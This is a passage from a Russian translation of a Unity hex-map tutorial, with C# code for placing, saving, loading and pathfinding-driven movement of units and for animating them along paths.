public HexCell Location {
get {
return location;
}
set {
location = value;
value.Unit = this;
transform.localPosition = value.Position;
}
}
```
Теперь `HexMapEditor.CreateUnit` может проверять, свободна ли текущая ячейка.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && !cell.Unit) {
HexUnit unit = Instantiate(unitPrefab);
unit.Location = cell;
unit.Orientation = Random.Range(0f, 360f);
}
}
```
### Редактирование занятых ячеек
Изначально отряды размещаются правильно, но всё может измениться, если в дальнейшем их ячейки будут редактироваться. Если высота ячейки изменится, то занимающий её отряд или будет висеть над ней, или погрузится в неё.
*Висящие и утонувшие отряды*
Решение заключается в проверке позиции отряда после внесения изменений. Для этого добавим метод в `HexUnit`. Пока нас интересует только позиция отряда, поэтому просто зададим её заново.
```
public void ValidateLocation () {
transform.localPosition = location.Position;
}
```
Мы должны согласовывать позицию отряда при обновлении ячейки, что происходит, когда вызываются методы `Refresh`, или `RefreshSelfOnly` объекта `HexCell`. Разумеется, это необходимо, только когда в ячейке действительно есть отряд.
```
void Refresh () {
if (chunk) {
chunk.Refresh();
…
if (Unit) {
Unit.ValidateLocation();
}
}
}
void RefreshSelfOnly () {
chunk.Refresh();
if (Unit) {
Unit.ValidateLocation();
}
}
```
### Удаление отрядов
Кроме создания отрядов полезно было бы их и уничтожать. Поэтому добавим в `HexMapEditor` метод `DestroyUnit`. Он должен проверять, есть ли в ячейке под курсором отряд, и если есть, то уничтожать игровой объект отряда.
```
void DestroyUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && cell.Unit) {
Destroy(cell.Unit.gameObject);
}
}
```
Учтите, чтобы добраться до отряда, мы проходим через ячейку. Для взаимодействия с отрядом достаточно навести мышь на его ячейку. Поэтому чтобы это работало, отряду не обязательно иметь коллайдер. Однако добавление коллайдера упрощает их выделение, потому что он блокирует лучи, которые в противном случае столкнулись бы с ячейкой за отрядом.
Давайте для уничтожения отряда в `Update` используем комбинацию левого Shift+U.
```
if (Input.GetKeyDown(KeyCode.U)) {
if (Input.GetKey(KeyCode.LeftShift)) {
DestroyUnit();
}
else {
CreateUnit();
}
return;
}
```
В случае, когда мы создаём и уничтожаем несколько отрядов, давайте будем аккуратными и очистим свойство при удалении отряда. То есть мы явным образом очистим ссылку ячейки на отряд. Добавим в `HexUnit` метод `Die`, который займётся этим, а также уничтожением собственного игрового объекта.
```
public void Die () {
location.Unit = null;
Destroy(gameObject);
}
```
Будем вызывать этот метод в `HexMapEditor.DestroyUnit`, а не уничтожать отряд напрямую.
```
void DestroyUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && cell.Unit) {
// Destroy(cell.Unit.gameObject);
cell.Unit.Die();
}
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-18/creating-units/creating-units.unitypackage)
Сохранение и загрузка отрядов
-----------------------------
Теперь, когда у нас на карте могут быть отряды, мы должны включить их в процесс сохранения и загрузки. Мы можем подойти к этой задаче двумя способами. Первый — записывать данные отряда при записи ячейки, чтобы данные ячейки и отряда были перемешаны. Второй способ — сохранять данные ячеек и отрядов по отдельности. Хотя может показаться, что первый подход проще в реализации, второй даёт нам более структурированные данные. Если мы разделим данные, то с ними будет проще работать в будущем.
### Отслеживание отрядов
Чтобы сохранить все отряды вместе, нам нужно их отслеживать. Мы сделаем это, добавив в `HexGrid` список отрядов. Этот список должен содержать все отряды на карте.
```
List units = new List();
```
При создании или загрузке новой карты нам нужно избавиться от всех отрядов, находящихся на карте. Чтобы упростить этот процесс, создадим метод `ClearUnits`, который убивает всех в списке и очищает его.
```
void ClearUnits () {
for (int i = 0; i < units.Count; i++) {
units[i].Die();
}
units.Clear();
}
```
Вызовем этот метод в `CreateMap` и в `Load`. Давайте делать это после очистки пути.
```
public bool CreateMap (int x, int z) {
…
ClearPath();
ClearUnits();
…
}
…
public void Load (BinaryReader reader, int header) {
ClearPath();
ClearUnits();
…
}
```
### Добавление отрядов к сетке
Теперь при создании новых отрядов нам нужно добавлять их в список. Давайте зададим для этого метод `AddUnit`, который также займётся расположением отряда и заданием параметров его родительского объекта.
```
public void AddUnit (HexUnit unit, HexCell location, float orientation) {
units.Add(unit);
unit.transform.SetParent(transform, false);
unit.Location = location;
unit.Orientation = orientation;
}
```
Теперь `HexMapEditor.CreatUnit` будет достаточно вызвать `AddUnit` с новым экземпляром отряда, его местоположением и случайной ориентацией.
```
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && !cell.Unit) {
// HexUnit unit = Instantiate(unitPrefab);
// unit.transform.SetParent(hexGrid.transform, false);
// unit.Location = cell;
// unit.Orientation = Random.Range(0f, 360f);
hexGrid.AddUnit(
Instantiate(unitPrefab), cell, Random.Range(0f, 360f)
);
}
}
```
### Удаление отрядов из сетки
Добавим метод для удаления отряда и в `HexGrid`. Просто удалим отряд из списка и прикажем ему умереть.
```
public void RemoveUnit (HexUnit unit) {
units.Remove(unit);
unit.Die();
}
```
Вызовем этот метод в `HexMapEditor.DestroyUnit`, вместо уничтожения отряда напрямую.
```
void DestroyUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && cell.Unit) {
// cell.Unit.Die();
hexGrid.RemoveUnit(cell.Unit);
}
}
```
### Сохранение отрядов
Так как мы собираемся сохранять все отряды вместе, нам нужно запомнить, какие ячейки они занимают. Наиболее надёжный способ заключается в сохранении координат их местоположения. Чтобы это было возможно, добавим в `HexCoordinates` метод `Save`, записывающий его поля X и Z.
```
using UnityEngine;
using System.IO;
[System.Serializable]
public struct HexCoordinates {
…
public void Save (BinaryWriter writer) {
writer.Write(x);
writer.Write(z);
}
}
```
Метод `Save` для `HexUnit` теперь может записывать координаты и ориентацию отряда. Это все данные отрядов, которые у нас есть на данный момент.
```
using UnityEngine;
using System.IO;
public class HexUnit : MonoBehaviour {
…
public void Save (BinaryWriter writer) {
location.coordinates.Save(writer);
writer.Write(orientation);
}
}
```
Так как `HexGrid` отслеживает отряды, его метод `Save` займётся записью данных отрядов. Сначала запишем общее количество отрядов, а затем обойдём их все в цикле.
```
public void Save (BinaryWriter writer) {
writer.Write(cellCountX);
writer.Write(cellCountZ);
for (int i = 0; i < cells.Length; i++) {
cells[i].Save(writer);
}
writer.Write(units.Count);
for (int i = 0; i < units.Count; i++) {
units[i].Save(writer);
}
}
```
Мы изменили сохраняемые данные, поэтому увеличим номер версии в `SaveLoadMenu.Save` до 2. Старый код загрузки всё равно будет работать, потому что он просто не будет считывать данные отрядов. Тем не менее, нужно увеличить номер версии, чтобы сообщить, что в файле есть данные отрядов.
```
void Save (string path) {
using (
BinaryWriter writer =
new BinaryWriter(File.Open(path, FileMode.Create))
) {
writer.Write(2);
hexGrid.Save(writer);
}
}
```
### Загрузка отрядов
Так как `HexCoordinates` является структурой, то не имеет особого смысла добавлять ему обычный метод `Load`. Сделаем его статическим методом, который считывает и возвращает сохранённые координаты.
```
public static HexCoordinates Load (BinaryReader reader) {
HexCoordinates c;
c.x = reader.ReadInt32();
c.z = reader.ReadInt32();
return c;
}
```
Так как количество отрядов является переменным, у нас нет заранее существующих отрядов, в которые можно загружать данные. Мы можем создать новые экземпляры отрядов до загрузки их данных, но для этого потребуется, чтобы `HexGrid` создавал экземпляры новых отрядов во время загрузки. Так что лучше оставить это `HexUnit`. Также мы используем статический метод `HexUnit.Load`. Давайте начнём с простого считывания данных отрядов. Для считывания значения float ориентации воспользуемся методом `BinaryReader.ReadSingle`.
**Почему Single?**
Тип `float` представляет собой числа с плавающей запятой одинарной точности, которые имеют длину четыре байта. Существуют также числа двойной точности, задаваемые как `double`, которые имеют длину восемь байтов. В Unity они используются редко.
```
public static void Load (BinaryReader reader) {
HexCoordinates coordinates = HexCoordinates.Load(reader);
float orientation = reader.ReadSingle();
}
```
Следующим этапом будет создание экземпляра нового отряда. Однако для этого нам нужна ссылка на префаб отряда. Чтобы пока не усложнять, давайте для этого добавим в `HexUnit` статический метод.
```
public static HexUnit unitPrefab;
```
Чтобы задать эту ссылку, давайте ещё раз воспользуемся `HexGrid`, как мы это делали с текстурой шума. Когда нам нужно будет поддерживать много типов отрядов, мы перейдём к более хорошему решению.
```
public HexUnit unitPrefab;
…
void Awake () {
HexMetrics.noiseSource = noiseSource;
HexMetrics.InitializeHashGrid(seed);
HexUnit.unitPrefab = unitPrefab;
CreateMap(cellCountX, cellCountZ);
}
…
void OnEnable () {
if (!HexMetrics.noiseSource) {
HexMetrics.noiseSource = noiseSource;
HexMetrics.InitializeHashGrid(seed);
HexUnit.unitPrefab = unitPrefab;
}
}
```
*Передаём префаб отряда*
После подключения поля нам больше не нужна прямая ссылка в `HexMapEditor`. Вместо неё он может использовать `HexUnit.unitPrefab`.
```
// public HexUnit unitPrefab;
…
void CreateUnit () {
HexCell cell = GetCellUnderCursor();
if (cell && !cell.Unit) {
hexGrid.AddUnit(
Instantiate(HexUnit.unitPrefab), cell, Random.Range(0f, 360f)
);
}
}
```
Теперь мы можем создать экземпляр нового отряда в `HexUnit.Load`. Вместо того, чтобы возвращать его, мы можем использовать загруженные координаты и ориентацию, чтобы добавить его на сетку. Чтобы это было возможно, добавим параметр `HexGrid`.
```
public static void Load (BinaryReader reader, HexGrid grid) {
HexCoordinates coordinates = HexCoordinates.Load(reader);
float orientation = reader.ReadSingle();
grid.AddUnit(
Instantiate(unitPrefab), grid.GetCell(coordinates), orientation
);
}
```
В конце `HexGrid.Load` считаем количество отрядов и используем его для загрузки всех сохранённых отрядов, передавая себя в качестве дополнительного аргумента.
```
public void Load (BinaryReader reader, int header) {
…
int unitCount = reader.ReadInt32();
for (int i = 0; i < unitCount; i++) {
HexUnit.Load(reader, this);
}
}
```
Разумеется, это сработает только для файлов сохранений с версией не ниже 2, в младших версиях отрядов для загрузки нет.
```
if (header >= 2) {
int unitCount = reader.ReadInt32();
for (int i = 0; i < unitCount; i++) {
HexUnit.Load(reader, this);
}
}
```
Теперь мы можем корректно загружать файлы версии 2, поэтому в `SaveLoadMenu.Load` увеличим номер поддерживаемой версии до 2.
```
void Load (string path) {
if (!File.Exists(path)) {
Debug.LogError("File does not exist " + path);
return;
}
using (BinaryReader reader = new BinaryReader(File.OpenRead(path))) {
int header = reader.ReadInt32();
if (header <= 2) {
hexGrid.Load(reader, header);
HexMapCamera.ValidatePosition();
}
else {
Debug.LogWarning("Unknown map format " + header);
}
}
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-18/saving-and-loading-units/saving-and-loading-units.unitypackage)
Перемещение отрядов
-------------------
Отряды мобильны, поэтому мы должны иметь возможность перемещать их по карте. У нас уже есть код поиска пути, но пока мы тестировали его только для произвольных мест. Теперь нам нужно удалить старый тестовый UI и создать новый UI для управления отрядами.
### Подчистка редактора карты
Перемещение отрядов по путям — это часть настоящего геймплея, оно не относится к редактору карт. Поэтому избавимся в `HexMapEditor` от всего кода, связанного с поиском пути.
```
// HexCell previousCell, searchFromCell, searchToCell;
HexCell previousCell;
…
void HandleInput () {
HexCell currentCell = GetCellUnderCursor();
if (currentCell) {
if (previousCell && previousCell != currentCell) {
ValidateDrag(currentCell);
}
else {
isDrag = false;
}
if (editMode) {
EditCells(currentCell);
}
// else if (
// Input.GetKey(KeyCode.LeftShift) && searchToCell != currentCell
// ) {
// if (searchFromCell != currentCell) {
// if (searchFromCell) {
// searchFromCell.DisableHighlight();
// }
// searchFromCell = currentCell;
// searchFromCell.EnableHighlight(Color.blue);
// if (searchToCell) {
// hexGrid.FindPath(searchFromCell, searchToCell, 24);
// }
// }
// }
// else if (searchFromCell && searchFromCell != currentCell) {
// if (searchToCell != currentCell) {
// searchToCell = currentCell;
// hexGrid.FindPath(searchFromCell, searchToCell, 24);
// }
// }
previousCell = currentCell;
}
else {
previousCell = null;
}
}
```
После удаления этого кода больше не имеет смысла оставлять редактор активным, когда мы не находимся в режиме редактирования. Поэтому вместо поля для отслеживания режима мы просто можем включать или отключать компонент `HexMapEditor`. Кроме того, теперь редактор не должен заниматься метками UI.
```
// bool editMode;
…
public void SetEditMode (bool toggle) {
// editMode = toggle;
// hexGrid.ShowUI(!toggle);
enabled = toggle;
}
…
void HandleInput () {
HexCell currentCell = GetCellUnderCursor();
if (currentCell) {
if (previousCell && previousCell != currentCell) {
ValidateDrag(currentCell);
}
else {
isDrag = false;
}
// if (editMode) {
EditCells(currentCell);
// }
previousCell = currentCell;
}
else {
previousCell = null;
}
}
```
Так как по умолчанию мы не находимся в режиме редактирования карты, в Awake мы будем отключать редактор.
```
void Awake () {
terrainMaterial.DisableKeyword("GRID_ON");
SetEditMode(false);
}
```
Использовать raycast для поиска текущей ячейки под курсором необходимо и при редактировании карты, и для управления отрядами. Возможно, в будущем он пригодится нам и для чего-то другого. Давайте переместим логику raycasting из `HexGrid` в новый метод `GetCell` с параметром-лучом.
```
public HexCell GetCell (Ray ray) {
RaycastHit hit;
if (Physics.Raycast(ray, out hit)) {
return GetCell(hit.point);
}
return null;
}
```
`HexMapEditor.GetCellUniderCursor` может просто вызывать этот метод с лучом курсора.
```
HexCell GetCellUnderCursor () {
return
hexGrid.GetCell(Camera.main.ScreenPointToRay(Input.mousePosition));
}
```
### Игровой UI
Для управления UI игрового режима мы воспользуемся новым компонентом. Пока он будет заниматься только выбором и перемещением отрядов. Создадим для него новый тип компонента `HexGameUI`. Для выполнения своей работы ему достаточно ссылки на сетку.
```
using UnityEngine;
using UnityEngine.EventSystems;
public class HexGameUI : MonoBehaviour {
public HexGrid grid;
}
```
Добавим этот компонент к новому игровому объекту в иерархии UI. Он не обязан иметь собственный объект, но так нам будет очевидно, что существует отдельный UI для игры.
*Объект Game UI*
Добавим `HexGameUI` метод `SetEditMode`, как и в `HexMapEditor`. Игровой UI должен быть включен, когда мы не находимся в режиме редактирования. Кроме того, здесь нужно включить метки, потому что игровой UI работает с путями.
```
public void SetEditMode (bool toggle) {
enabled = !toggle;
grid.ShowUI(!toggle);
}
```
Добавим метод игрового UI с список событий переключателя режима редактирования. Это будет означать, что при изменении игроком режима вызываются оба метода.
Несколько методов события.
### Отслеживание текущей ячейки
В зависимости от ситуации `HexGameUI` нужно знать, какая ячейка в данный момент находится под курсором. Поэтому добавим ему поле `currentCell`.
```
HexCell currentCell;
```
Создадим метод `UpdateCurrentCell`, который использует `HexGrid.GetCell` с лучом курсора для обновления этого поля.
```
void UpdateCurrentCell () {
currentCell =
grid.GetCell(Camera.main.ScreenPointToRay(Input.mousePosition));
}
```
При обновлении текущей ячейки нам может понадобиться узнать, изменилась ли она. Заставим `UpdateCurrentCell` возвращать эту информацию.
```
bool UpdateCurrentCell () {
HexCell cell =
grid.GetCell(Camera.main.ScreenPointToRay(Input.mousePosition));
if (cell != currentCell) {
currentCell = cell;
return true;
}
return false;
}
```
### Выбор отряда
Прежде чем переместить отряд, его нужно выбрать и отслеживать. Поэтому добавим поле `selectedUnit`.
```
HexUnit selectedUnit;
```
Когда мы пытаемся выполнить выбор, то нужно начинать с обновления текущей ячейки. Если текущая ячейка есть то занимающий эту ячейку отряд становится выбранным отрядом. Если в ячейке нет отряда, то никакой отряд не выбирается. Создадим для этого метод `DoSelection`.
```
void DoSelection () {
UpdateCurrentCell();
if (currentCell) {
selectedUnit = currentCell.Unit;
}
}
```
Мы реализуем выбор отрядов простым нажатием мыши. Поэтому добавим метод `Update`, выполняющий выбор при активации кнопки мыши 0. Разумеется, нам нужно выполнять его, только когда курсор не находится над элементом GUI.
```
void Update () {
if (!EventSystem.current.IsPointerOverGameObject()) {
if (Input.GetMouseButtonDown(0)) {
DoSelection();
}
}
}
```
На данном этапе мы научились выбирать по одному отряду за раз с помощью нажатия мыши. При нажатии на пустую ячейку выбор любого отряда снимается. Но пока мы не получаем никакого визуального подтверждения этого.
### Поиск пути отрядом
Когда отряд выбран, мы можем использовать его местоположение как начальную точку для поиска пути. Чтобы активировать это, мы не будем требовать ещё одно нажатие кнопки мыши. Вместо этого будем автоматически находить и показывать путь между позицией отряда и текущей ячейкой. Всегда будем делать это в `Update`, за исключением момента, когда выполняется выбор. Для этого когда у нас есть отряд, мы вызываем метод `DoPathfinding`.
```
void Update () {
if (!EventSystem.current.IsPointerOverGameObject()) {
if (Input.GetMouseButtonDown(0)) {
DoSelection();
}
else if (selectedUnit) {
DoPathfinding();
}
}
}
```
`DoPathfinding` просто обновляет текущую ячейку и вызывает `HexGrid.FindPath`, если есть конечная точка. Мы снова используем постоянную скорость 24.
```
void DoPathfinding () {
UpdateCurrentCell();
grid.FindPath(selectedUnit.Location, currentCell, 24);
}
```
Учтите, что мы должны находить новый путь не при каждом обновлении, а только при изменении текущей ячейки.
```
void DoPathfinding () {
if (UpdateCurrentCell()) {
grid.FindPath(selectedUnit.Location, currentCell, 24);
}
}
```
*Поиск пути для отряда*
Теперь мы видим пути, появляющиеся при перемещении курсора после выбора отряда. Благодаря этому очевидно, какой отряд выбран. Однако пути не всегда очищаются правильно. Для начала давайте очищать старый путь, если курсор оказывается за пределами карты.
```
void DoPathfinding () {
if (UpdateCurrentCell()) {
if (currentCell) {
grid.FindPath(selectedUnit.Location, currentCell, 24);
}
else {
grid.ClearPath();
}
}
}
```
Разумеется, для этого нужно, чтобы `HexGrid.ClearPath` был общим, поэтому внесём такое изменение.
```
public void ClearPath () {
…
}
```
Во-вторых, будем очищать старый путь при выборе отряда.
```
void DoSelection () {
grid.ClearPath();
UpdateCurrentCell();
if (currentCell) {
selectedUnit = currentCell.Unit;
}
}
```
Наконец, станем очищать путь при изменении режима редактирования.
```
public void SetEditMode (bool toggle) {
enabled = !toggle;
grid.ShowUI(!toggle);
grid.ClearPath();
}
```
### Поиск только для допустимых конечных точек
Мы не всегда можем найти путь, потому что иногда достичь конечной ячейки невозможно. Это нормально. Но иногда сама конечная ячейка является недопустимой. Например, мы решили, что пути не могут включать в себя подводные ячейки. Но это может зависеть от отряда. Давайте добавим в `HexUnit` метод, сообщающий нам, является ли ячейка допустимой конечной точкой. Подводные ячейки ими не являются.
```
public bool IsValidDestination (HexCell cell) {
return !cell.IsUnderwater;
}
```
Кроме того, мы разрешили стоять в ячейке только одному отряду. Поэтому конечная ячейка не будет допустимой, если она занята.
```
public bool IsValidDestination (HexCell cell) {
return !cell.IsUnderwater && !cell.Unit;
}
```
Используем этот метод в `HexGameUI.DoPathfinding`, чтобы игнорировать недопустимые конечные точки.
```
void DoPathfinding () {
if (UpdateCurrentCell()) {
if (currentCell && selectedUnit.IsValidDestination(currentCell)) {
grid.FindPath(selectedUnit.Location, currentCell, 24);
}
else {
grid.ClearPath();
}
}
}
```
### Перемещение к конечной точке
Если у нас есть допустимый путь, то мы имеем возможность переместить отряд в конечную точку. `HexGrid` знает, когда это можно сделать. Сделаем так, чтобы он передавал эту информацию в новом свойстве только для чтения `HasPath`.
```
public bool HasPath {
get {
return currentPathExists;
}
}
```
Чтобы переместить отряд, добавим в `HexGameUI` метод `DoMove`. Этот метод будет вызываться при подаче команды и в случае, если отряд выбран. Поэтому он должен проверять, есть ли путь, и если есть, менять местоположение отряда. Пока мы сразу телепортируем отряд в конечную точку. В одном из следующих туториалов мы сделаем так, чтобы отряд на самом деле проходил весь путь.
```
void DoMove () {
if (grid.HasPath) {
selectedUnit.Location = currentCell;
grid.ClearPath();
}
}
```
Давайте для подачи команды используем кнопку мыши 1 (нажатие правой кнопки). Будем проверять это, если выбран отряд. Если кнопка не нажата, то мы выполняем поиск пути.
```
void Update () {
if (!EventSystem.current.IsPointerOverGameObject()) {
if (Input.GetMouseButtonDown(0)) {
DoSelection();
}
else if (selectedUnit) {
if (Input.GetMouseButtonDown(1)) {
DoMove();
}
else {
DoPathfinding();
}
}
}
}
```
Теперь мы можем перемещать отряды! Но иногда они отказываются находить путь к некоторым ячейкам. В частности, к тем ячейкам, в которых раньше был отряд. Так происходит, потому что `HexUnit` не обновляет старое местоположение при задании нового. Чтобы исправить это, будем очищать ссылку на отряд в его старом местоположении.
```
public HexCell Location {
get {
return location;
}
set {
if (location) {
location.Unit = null;
}
location = value;
value.Unit = this;
transform.localPosition = value.Position;
}
}
```
### Избегаем отрядов
Поиск пути сейчас работает верно, а отряды могут телепортироваться по карте. Хотя они не могут перемещаться в ячейки, в которых уже есть отряд, пока игнорируются отряды, стоящие на пути.
*Отряды на пути игнорируются*
Отряды одной фракции обычно могут перемещаться друг через друга, но пока у нас нет фракций. Поэтому давайте считать все отряды несвязанными друг с другом и блокирующими пути. Это можно реализовать, пропуская занятые ячейки в `HexGrid.Search`.
```
if (
neighbor == null ||
neighbor.SearchPhase > searchFrontierPhase
) {
continue;
}
if (neighbor.IsUnderwater || neighbor.Unit) {
continue;
}
```
*Избегаем отрядов*
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-18/moving-units/moving-units.unitypackage)
Часть 19: анимация движения
===========================
* Перемещаем отряды между ячейками.
* Визуализируем пройденный путь.
* Перемещаем отряды по кривым.
* Заставляем отряды смотреть в сторону движения.
В этой части мы заставим отряды вместо телепортации двигаться по путям.
*Отряды в пути*
Движение по пути
----------------
В предыдущей части мы добавили отряды и возможность их перемещения. Хоть мы и использовали для определения допустимых конечных точек поиск пути, после подачи команды отряды просто телепортировались в конечную ячейку. Чтобы они на самом деле следовали по найденному пути, нам нужно отслеживать этот путь и создать процесс анимации, заставляющий отряд перемещаться от ячейки к ячейке. Так как глядя на анимации сложно заметить, как перемещался отряд, мы также визуализируем пройденный путь с помощь gizmos. Но прежде чем двинуться дальше, нам нужно исправить ошибку.
### Ошибка с поворотами
Из-за недосмотра мы неверно вычисляем ход, на котором будет достигнута ячейка. Сейчас мы определяем ход делением общего расстояния на скорость отряда , и отбрасывая остаток. Ошибка происходит, когда для попадания в ячейку нужно потратить ровно все оставшиеся очки движения на ход.
Например, когда каждый шаг стоит 1, а скорость равна 3, то мы можем перемещаться на три ячейки за ход. Однако при существующих вычислениях мы сможем сделать только два шага за первый ход, потому что для третьего шага .
*Суммируемые затраты на перемещение с неверно определяемыми ходами, скорость 3*
Для правильного вычисления ходов нам нужно переместить границу на один шаг от начальной ячейке. Мы можем сделать это, перед вычислением хода уменьшив расстояние на 1. Тогда ход для третьего шага будет 
*Правильные ходы*
Мы можем это сделать, изменив формулу вычислений на . Внесём это изменение в `HexGrid.Search`.
```
bool Search (HexCell fromCell, HexCell toCell, int speed) {
…
while (searchFrontier.Count > 0) {
…
int currentTurn = (current.Distance - 1) / speed;
for (HexDirection d = HexDirection.NE; d <= HexDirection.NW; d++) {
…
int distance = current.Distance + moveCost;
int turn = (distance - 1) / speed;
if (turn > currentTurn) {
distance = turn * speed + moveCost;
}
…
}
}
return false;
}
```
Изменим также метки ходов.
```
void ShowPath (int speed) {
if (currentPathExists) {
HexCell current = currentPathTo;
while (current != currentPathFrom) {
int turn = (current.Distance - 1) / speed;
…
}
}
…
}
```
Заметьте, что при таком подходе ход начальной ячейки равен −1. Это нормально, потому что мы не отображаем его, а алгоритм поиска остаётся исправным.
### Получение пути
Перемещение по пути — это задача отряда. Чтобы он мог это делать, ему необходимо знать путь. Эта информация есть у `HexGrid`, поэтому добавим к нему метод для получения текущего пути в виде списка ячеек. Он может брать его из пула списков и возвращать, если путь действительно есть.
```
public List GetPath () {
if (!currentPathExists) {
return null;
}
List path = ListPool.Get();
return path;
}
```
Список заполняется следованием по ссылке пути от конечной ячейки к начальной, как это делается при визуализации пути.
```
List path = ListPool.Get();
for (HexCell c = currentPathTo; c != currentPathFrom; c = c.PathFrom) {
path.Add(c);
}
return path;
```
В данном случае нам нужен весь путь, который включает в себя и начальную ячейку.
```
for (HexCell c = currentPathTo; c != currentPathFrom; c = c.PathFrom) {
path.Add(c);
}
path.Add(currentPathFrom);
return path;
```
Теперь у нас есть путь в обратном порядке. Мы можем с ним работать, но это будет не очень интуитивно понятно. Давайте перевернём список, чтобы он шёл от начала к концу.
```
path.Add(currentPathFrom);
path.Reverse();
return path;
```
### Запрос движения
Теперь мы можем добавить в `HexUnit` метод, приказывающий ему следовать по пути. Изначально мы просто позволяли ему телепортироваться к конечной ячейке. Мы не будем сразу же возвращать список в пул, потому что он нам пригодится на какое-то время.
```
using UnityEngine;
using System.Collections.Generic;
using System.IO;
public class HexUnit : MonoBehaviour {
…
public void Travel (List path) {
Location = path[path.Count - 1];
}
…
}
```
Чтобы запросить движение, изменим `HexGameUI.DoMove` так, чтобы он вызывал новый метод с текущим путём, а не просто задавал местоположение отряда.
```
void DoMove () {
if (grid.HasPath) {
// selectedUnit.Location = currentCell;
selectedUnit.Travel(grid.GetPath());
grid.ClearPath();
}
}
```
### Визуализация пути
Прежде чем мы начнём анимировать отряд, давайте проверим, что пути верны. Мы будем это делать, приказав `HexUnit` запомнить путь, по которому он должен перемещаться, чтобы можно было визуализировать его с помощью gizmos.
```
List pathToTravel;
…
public void Travel (List path) {
Location = path[path.Count - 1];
pathToTravel = path;
}
```
Добавим метод `OnDrawGizmos`, чтобы показать последний путь, по которому нужно пройти (если он существует). Если отряд пока не двигался, путь должен быть равен `null`. Но из-за сериализации Unity во время редактирования после рекомпиляции в режиме Play он также может быть пустым списком.
```
void OnDrawGizmos () {
if (pathToTravel == null || pathToTravel.Count == 0) {
return;
}
}
```
Проще всего показать путь — отрисовать сферу-гизмо для каждой ячейки пути. Нам подойдёт сфера радиусом 2 единицы.
```
void OnDrawGizmos () {
if (pathToTravel == null || pathToTravel.Count == 0) {
return;
}
for (int i = 0; i < pathToTravel.Count; i++) {
Gizmos.DrawSphere(pathToTravel[i].Position, 2f);
}
}
```
Так как мы будем показывать пути для отряда, то сможем одновременно увидеть все его последние пути.
*Gizmos отображают последние пройденные пути*
Чтобы лучше показать соединения ячеек, нарисуем в цикле несколько сфер на прямой между предыдущей и текущей ячейками. Для этого нам нужно начать процесс со второй ячейки. Сферы можно располагать с помощью линейной интерполяции с инкрементом 0.1 единиц, так что у нас получится по десять сфер на сегмент.
```
for (int i = 1; i < pathToTravel.Count; i++) {
Vector3 a = pathToTravel[i - 1].Position;
Vector3 b = pathToTravel[i].Position;
for (float t = 0f; t < 1f; t += 0.1f) {
Gizmos.DrawSphere(Vector3.Lerp(a, b, t), 2f);
}
}
```
*Более очевидные пути*
### Скольжение по пути
Тем же способом можно воспользоваться для перемещения отрядов. Давайте создадим для этого корутину. Вместо отрисовки гизмо будем задавать позицию отряда. Воспользуемся вместо инкремента 0.1 дельтой времени, и будем выполнять yield для каждой итерации. При этом отряд будет двигаться от одной ячейки к следующей за одну секунду.
```
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.IO;
public class HexUnit : MonoBehaviour {
…
IEnumerator TravelPath () {
for (int i = 1; i < pathToTravel.Count; i++) {
Vector3 a = pathToTravel[i - 1].Position;
Vector3 b = pathToTravel[i].Position;
for (float t = 0f; t < 1f; t += Time.deltaTime) {
transform.localPosition = Vector3.Lerp(a, b, t);
yield return null;
}
}
}
…
}
```
Начнём корутину в конце метода `Travel`. Но прежде остановим все существующие корутины. Так мы гарантируем, что одновременно не запустятся две корутины, иначе это привело бы к очень странным результатам.
```
public void Travel (List path) {
Location = path[path.Count - 1];
pathToTravel = path;
StopAllCoroutines();
StartCoroutine(TravelPath());
}
```
Перемещение по одной ячейке за секунду — это довольно медленно. Игрок в процессе игры не захочет ждать так долго. Можно сделать скорость перемещения отряда опцией конфигурации, но пока давайте используем константу. Я присвоил ей значение в 4 ячейки за секунду; это довольно быстро, но позволяет заметить, что происходит.
```
const float travelSpeed = 4f;
…
IEnumerator TravelPath () {
for (int i = 1; i < pathToTravel.Count; i++) {
Vector3 a = pathToTravel[i - 1].Position;
Vector3 b = pathToTravel[i].Position;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Vector3.Lerp(a, b, t);
yield return null;
}
}
}
```
Так же, как мы можем визуализировать несколько путей одновременно, можно заставить путешествовать одновременно несколько отрядов. С точки зрения игрового состояния движение по-прежнему является телепортацией, анимации исключительно визуальные. Отряды мгновенно занимают конечную ячейку. Можно даже найти пути и начать новое перемещение, пока они ещё не прибыли. В этом случае визуально они телепортируются к началу нового пути. Этого можо избежать, заблокировав отряды или даже весь UI, пока они двигаются, но такая быстрая реакция довольно удобна при разработке и тестировании перемещений.
Перемещающиеся отряды.
**А как насчёт разницы в высотах?**
Так как мы выполняем интерполяцию между позициями ячеек, мы интерполируем и вертикальную позицию отряда. Так как это не соответствует настоящей геометрии, при движении отряд может висеть над рельефом или утопать в нём. Так как анимация быстра и обычно наблюдается издалека, это не очень заметно. Игроки заняты игрой, а не рассматриванием движения отдельных отрядов. Если проанализировать игры с изменяемой высотой, например Endless Legend, то можно заметить, что отряды нам тоже висят или утопают в рельефе. Если это устраивает разработчиков игры, то нас и подавно.
### Позиция после компиляции
Один из недостатков корутин заключается в том, что они не «выживают» при рекомпиляции в режиме Play. Хоть игровое состояние всегда верно, это может привести к тому, что отряды застрянут где-нибудь на своём последнем пути, если запустить рекомпиляцию, когда они ещё движутся. Чтобы смягчить последствия, давайте сделаем так, чтобы после рекомпиляции отряды всегда находились в правильной позиции. Это можно сделать, обновляя их позиции в `OnEnable`.
```
void OnEnable () {
if (location) {
transform.localPosition = location.Position;
}
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-19/traveling-a-path/traveling-a-path.unitypackage)
Плавное перемещение
-------------------
Движение от центра к центру ячейки выглядит слишком механистично и создаёт резкие смены направления. Для многих игр это будет нормально, но неприемлемо, если необходимо хотя бы немного реалистичное движение. Поэтому давайте изменим перемещение, чтобы оно выглядело немного более органичным.
### Двигаемся от ребра к ребру
